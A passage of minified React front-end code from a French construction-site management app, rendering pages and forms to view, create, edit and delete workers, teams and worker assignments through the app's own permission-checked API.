m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;workers.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await ie(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:f});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[c,f,r]),r(&quot;workers.view&quot;)?Number.isFinite(c)?g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):y||!d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/workers&quot;,title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y??&quot;Introuvable&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/workers&quot;,title:d.display_name}),s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Réf. externe&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.external_reference??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.phone??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Spécialité&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.specialty??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Type&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.worker_type??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Mode paiement&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.payment_mode??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;workers.manage&quot;)?s.jsx(je,{to:`/workers/${d.id}/edit`,className:`inline-block ${ml}`,children:&quot;Modifier&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Um(){const{workerId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=Ft(),{token:d,can:p}=De(),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,ee]=m.useState(!0),[K,q]=m.useState(null),[J,H]=m.useState(!1),[W,Z]=m.useState(f);m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){Z(!1);return}let ae=!1;return(async()=&gt;{try{const P=await ie(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:d});if(!ae){const ne=P.data;v(ne.display_name),x(ne.external_reference??&quot;&quot;),b(ne.phone??&quot;&quot;),V(ne.specialty??&quot;&quot;),U(ne.worker_type??&quot;&quot;),G(ne.payment_mode??&quot;&quot;),F(ne.base_rate!==null&amp;&amp;ne.base_rate!==void 0?String(ne.base_rate):&quot;&quot;),ee(ne.is_active)}}catch(P){ae||q(P instanceof ge?P.message:&quot;Chargement impossible&quot;)}finally{ae||Z(!1)}})(),()=&gt;{ae=!0}},[f,c,d]);async function B(ae){if(ae.preventDefault(),!d)return;q(null),H(!0);const P={display_name:y,external_reference:g||null,phone:S||null,specialty:A||null,worker_type:R||null,payment_mode:D||null,base_rate:$===&quot;&quot;?null:Number($),is_active:I};try{f&amp;&amp;c!==null?(await ie(`/api/v1/workers/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(P)}),r(`/workers/${c}`)):(await ie(&quot;/api/v1/workers&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify(P)}),r(&quot;/workers&quot;))}catch(ne){q(ne instanceof ge?ne.message:&quot;Enregistrement impossible&quot;)}finally{H(!1)}}return p(&quot;workers.manage&quot;)?W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/workers/${c}`:&quot;/workers&quot;,title:f?&quot;Modifier l’ouvrier&quot;:&quot;Nouvel ouvrier&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:ae=&gt;void B(ae),className:&quot;space-y-4&quot;,children:[K?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:K}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-name&quot;,className:fe,children:&quot;Nom affiché&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-name&quot;,className:oe,value:y,onChange:ae=&gt;v(ae.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-ref&quot;,className:fe,children:&quot;Référence externe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-ref&quot;,className:oe,value:g,onChange:ae=&gt;x(ae.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-phone&quot;,className:fe,children:&quot;Téléphone&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-phone&quot;,className:oe,value:S,onChange:ae=&gt;b(ae.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-spec&quot;,className:fe,children:&quot;Spécialité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-spec&quot;,className:oe,value:A,onChange:ae=&gt;V(ae.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-type&quot;,className:fe,children:&quot;Type&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-type&quot;,className:oe,value:R,onChange:ae=&gt;U(ae.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-pay&quot;,className:fe,children:&quot;Mode de paiement&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-pay&quot;,className:oe,value:D,onChange:ae=&gt;G(ae.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-rate&quot;,className:fe,children:&quot;Taux de base&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-rate&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,min:&quot;0&quot;,className:oe,value:$,onChange:ae=&gt;F(ae.target.value)})]}),s.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[s.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:I,onChange:ae=&gt;ee(ae.target.checked)}),&quot;Actif&quot;]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:J,className:Ot,children:J?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec workers.manage.&quot;})]})}function Bv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=De(),{setActiveProjectId:d}=ft(),[p,y]=m.useState([]),[v,g]=m.useState(null),[x,S]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;teams.view&quot;)){S(!1);return}d(c);let b=!1;return(async()=&gt;{try{const A=await ie(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:f});b||y(A.data)}catch(A){b||g(A instanceof ge?A.message:&quot;Erreur&quot;)}finally{b||S(!1)}})(),()=&gt;{b=!0}},[c,f,r,d]),r(&quot;teams.view&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Équipes&quot;}),r(&quot;teams.manage&quot;)?s.jsx(je,{to:`/projects/${c}/teams/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle équipe&quot;}):null,v?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${c}/teams/${b.id}`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:b.name}),b.description?s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:b.description}):null]})},b.id))}),!x&amp;&amp;p.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune équipe.&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipes&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (teams.view).&quot;})]})}function Lv(){const{projectId:u,teamId:c}=nt(),f=Number(u),r=Number(c),{token:d,can:p}=De(),y=Ft(),[v,g]=m.useState(null),[x,S]=m.useState(null),[b,A]=m.useState(!0),[V,R]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!d||!p(&quot;teams.view&quot;)){A(!1);return}let D=!1;return(async()=&gt;{try{const G=await ie(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:d});D||g(G.data)}catch(G){D||S(G instanceof ge?G.message:&quot;Erreur&quot;)}finally{D||A(!1)}})(),()=&gt;{D=!0}},[r,d,p]);async function U(){if(!(!d||!v||!window.confirm(&quot;Supprimer cette équipe ?&quot;))){R(!0);try{await ie(`/api/v1/teams/${v.id}`,{method:&quot;DELETE&quot;,token:d}),y(`/projects/${f}/teams`)}catch(D){S(D instanceof ge?D.message:&quot;Suppression impossible&quot;)}finally{R(!1)}}}return p(&quot;teams.view&quot;)?!Number.isFinite(r)||!Number.isFinite(f)?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):b?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x||!v?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x??&quot;Introuvable&quot;})]}):v.project_id!==f?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette équipe n’appartient pas à ce chantier.&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:v.name}),v.description?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:v.description}):null,s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Chef d’équipe (ouvrier) : &quot;,v.leader_worker_id??&quot;—&quot;]}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:p(&quot;teams.manage&quot;)?s.jsxs(s.Fragment,{children:[s.jsx(je,{to:`/projects/${f}/teams/${r}/edit`,className:ml,children:&quot;Modifier&quot;}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:V,onClick:()=&gt;void U(),className:&quot;rounded-xl border border-red-900/60 px-4 py-2 text-sm text-red-300 hover:bg-red-950/30 disabled:opacity-50&quot;,children:V?&quot;Suppression…&quot;:&quot;Supprimer&quot;})]}):null})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Hm(){const{projectId:u,teamId:c}=nt(),f=Number(u),r=c?Number(c):null,d=Number.isFinite(r),p=Ft(),{token:y,can:v}=De(),[g,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState([]),[D,G]=m.useState(null),[$,F]=m.useState(!1),[I,ee]=m.useState(d);m.useEffect(()=&gt;{if(!y||!v(&quot;workers.view&quot;))return;let q=!1;return(async()=&gt;{try{const J=await ie(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:y});q||U(J.data)}catch{}})(),()=&gt;{q=!0}},[y,v]),m.useEffect(()=&gt;{if(!d||!y||r===null||!Number.isFinite(r)){ee(!1);return}let q=!1;return(async()=&gt;{try{const J=await ie(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:y});if(!q){const H=J.data;x(H.name),b(H.description??&quot;&quot;),V(H.leader_worker_id?String(H.leader_worker_id):&quot;&quot;)}}catch(J){q||G(J instanceof ge?J.message:&quot;Chargement impossible&quot;)}finally{q||ee(!1)}})(),()=&gt;{q=!0}},[d,r,y]);async function K(q){if(q.preventDefault(),!y||!Number.isFinite(f))return;G(null),F(!0);const J={name:g,description:S||null,leader_worker_id:A?Number(A):null};try{d&amp;&amp;r!==null?(await ie(`/api/v1/teams/${r}`,{method:&quot;PATCH&quot;,token:y,body:JSON.stringify(J)}),p(`/projects/${f}/teams/${r}`)):(await ie(`/api/v1/projects/${f}/teams`,{method:&quot;POST&quot;,token:y,body:JSON.stringify(J)}),p(`/projects/${f}/teams`))}catch(H){G(H instanceof ge?H.message:&quot;Enregistrement impossible&quot;)}finally{F(!1)}}return v(&quot;teams.manage&quot;)?Number.isFinite(f)?I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:d&amp;&amp;r!==null?`/projects/${f}/teams/${r}`:`/projects/${f}/teams`,title:d?&quot;Modifier l’équipe&quot;:&quot;Nouvelle équipe&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:q=&gt;void K(q),className:&quot;space-y-4&quot;,children:[D?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:D}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-name&quot;,className:fe,children:&quot;Nom&quot;}),s.jsx(&quot;input&quot;,{id:&quot;t-name&quot;,className:oe,value:g,onChange:q=&gt;x(q.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-desc&quot;,className:fe,children:&quot;Description&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;t-desc&quot;,className:oe,rows:3,value:S,onChange:q=&gt;b(q.target.value)})]}),v(&quot;workers.view&quot;)?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-lead&quot;,className:fe,children:&quot;Chef d’équipe (ouvrier)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;t-lead&quot;,className:oe,value:A,onChange:q=&gt;V(q.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),R.map(q=&gt;s.jsx(&quot;option&quot;,{value:q.id,children:q.display_name},q.id))]})]}):null,s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:$,className:Ot,children:$?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec teams.manage.&quot;})]})}function Gv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=De(),{setActiveProjectId:d}=ft(),[p,y]=m.useState([]),[v,g]=m.useState(null),[x,S]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;worker_assignments.view&quot;)){S(!1);return}d(c);let b=!1;return(async()=&gt;{try{const A=await ie(`/api/v1/projects/${c}/worker-assignments?per_page=100&amp;sort=-created_at`,{method:&quot;GET&quot;,token:f});b||y(A.data)}catch(A){b||g(A instanceof ge?A.message:&quot;Erreur&quot;)}finally{b||S(!1)}})(),()=&gt;{b=!0}},[c,f,r,d]),r(&quot;worker_assignments.view&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Affectations ouvriers&quot;}),r(&quot;worker_assignments.manage&quot;)?s.jsx(je,{to:`/projects/${c}/assignments/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle affectation&quot;}):null,v?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;{var A;return s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${c}/assignments/${b.id}`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((A=b.worker)==null?void 0:A.display_name)??`Ouvrier #${b.worker_id}`}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[b.status,b.start_date?` · du ${b.start_date}`:&quot;&quot;]})]})},b.id)})}),!x&amp;&amp;p.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune affectation.&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Affectations&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (worker_assignments.view).&quot;})]})}const Yv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function kv(){const{projectId:u}=nt(),c=Number(u),f=Ft(),{token:r,can:d}=De(),[p,y]=m.useState(&quot;&quot;),[v,g]=m.useState(&quot;&quot;),[x,S]=m.useState(&quot;&quot;),[b,A]=m.useState(&quot;&quot;),[V,R]=m.useState(&quot;active&quot;),[U,D]=m.useState([]),[G,$]=m.useState([]),[F,I]=m.useState(null),[ee,K]=m.useState(!1);m.useEffect(()=&gt;{if(!r||!Number.isFinite(c))return;let J=!1;return(async()=&gt;{try{const[H,W]=await Promise.all([d(&quot;workers.view&quot;)?ie(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:r}):Promise.resolve({data:[]}),ie(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:r})]);J||(D(H.data),$(W.data))}catch{}})(),()=&gt;{J=!0}},[r,c,d]);async function q(J){if(J.preventDefault(),!(!r||!Number.isFinite(c))){I(null),K(!0);try{const H=await ie(`/api/v1/projects/${c}/worker-assignments`,{method:&quot;POST&quot;,token:r,body:JSON.stringify({worker_id:Number(p),team_id:v?Number(v):null,start_date:x||null,end_date:b||null,status:V})});f(`/projects/${c}/assignments/${H.data.id}`)}catch(H){I(H instanceof ge?H.message:&quot;Enregistrement impossible&quot;)}finally{K(!1)}}}return d(&quot;worker_assignments.manage&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${c}/assignments`,title:&quot;Nouvelle affectation&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:J=&gt;void q(J),className:&quot;space-y-4&quot;,children:[F?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:F}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-worker&quot;,className:fe,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;a-worker&quot;,className:oe,value:p,onChange:J=&gt;y(J.target.value),required:!0,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),U.map(J=&gt;s.jsx(&quot;option&quot;,{value:J.id,children:J.display_name},J.id))]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-team&quot;,className:fe,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;a-team&quot;,className:oe,value:v,onChange:J=&gt;g(J.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),G.map(J=&gt;s.jsx(&quot;option&quot;,{value:J.id,children:J.name},J.id))]})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-start&quot;,className:fe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;a-start&quot;,type:&quot;date&quot;,className:oe,value:x,onChange:J=&gt;S(J.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-end&quot;,className:fe,children:&quot;Fin&quot;}),s.jsx(&quot;input&quot;,{id:&quot;a-end&quot;,type:&quot;date&quot;,className:oe,value:b,onChange:J=&gt;A(J.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-status&quot;,className:fe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;a-status&quot;,className:oe,value:V,onChange:J=&gt;R(J.target.value),children:Yv.map(J=&gt;s.jsx(&quot;option&quot;,{value:J.value,children:J.label},J.value))})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:ee,className:Ot,children:ee?&quot;Création…&quot;:&quot;Créer&quot;})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec worker_assignments.manage.&quot;})]})}const Qv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function Xv(){var H;const{projectId:u,assignmentId:c}=nt(),f=Number(u),r=Number(c),{token:d,can:p}=De(),[y,v]=m.useState(null),[g,x]=m.useState([]),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;active&quot;),[$,F]=m.useState(null),[I,ee]=m.useState(!0),[K,q]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!d){ee(!1);return}let W=!1;return(async()=&gt;{try{const Z=await ie(`/api/v1/worker-assignments/${r}`,{method:&quot;GET&quot;,token:d});if(!W){const B=Z.data;v(B),b(B.team_id?String(B.team_id):&quot;&quot;),V(B.start_date??&quot;&quot;),U(B.end_date??&quot;&quot;),G(B.status)}if(!W&amp;&amp;Number.isFinite(f)){const B=await ie(`/api/v1/projects/${f}/teams?per_page=100`,{method:&quot;GET&quot;,token:d});W||x(B.data)}}catch(Z){W||F(Z instanceof ge?Z.message:&quot;Erreur&quot;)}finally{W||ee(!1)}})(),()=&gt;{W=!0}},[r,f,d]);async function J(W){if(W.preventDefault(),!(!d||!Number.isFinite(r))){F(null),q(!0);try{const Z=await ie(`/api/v1/worker-assignments/${r}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify({team_id:S?Number(S):null,start_date:A||null,end_date:R||null,status:D})});v(Z.data)}catch(Z){F(Z instanceof ge?Z.message:&quot;Enregistrement impossible&quot;)}finally{q(!1)}}}return!Number.isFinite(r)||!Number.isFinite(f)?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):$&amp;&amp;!y?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:$})]}):y?y.project_id!==f?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette affectation n’appartient pas à ce chantier.&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-300&quot;,children:((H=y.worker)==null?void 0:H.display_name)??`Ouvrier #${y.worker_id}`}),p(&quot;worker_assignments.manage&quot;)?s.jsxs(&quot;form&quot;,{onSubmit:W=&gt;void J(W),className:&quot;space-y-4 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[$?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:$}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-team&quot;,className:fe,children:&quot;Équipe&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;ad-team&quot;,className:oe,value:S,onChange:W=&gt;b(W.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),g.map(W=&gt;s.jsx(&quot;option&quot;,{value:W.id,children:W.name},W.id))]})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-start&quot;,className:fe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;ad-start&quot;,type:&quot;date&quot;,className:oe,value:A,onChange:W=&gt;V(W.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-end&quot;,className:fe,children:&quot;Fin&quot;}),s.jsx(&quot;input&quot;,{id:&quot;ad-end&quot;,type:&quot;date&quot;,className:oe,value:R,onChange:W=&gt;U(W.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-status&quot;,className:fe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;ad-status&quot;,className:oe,value:D,onChange:W=&gt;G(W.target.value),children:Qv.map(W=&gt;s.jsx(&quot;option&quot;,{value:W.value,children:W.label},W.value))})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Ot,children:K?&quot;Enregistrement…&quot;:&quot;Mettre à jour&quot;})]}):s.jsxs(&quot;dl&quot;,{className:&quot;space-y-2 text-sm text-stone-400&quot;,children:[s.jsxs(&quot;div&quot;,{children:[&quot;Statut : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:y.status})]}),s.jsxs(&quot;div&quot;,{children:[&quot;Équipe : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:y.team_id??&quot;—&quot;})]})]}),s.jsx(je,{to:`/projects/${f}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):null}function 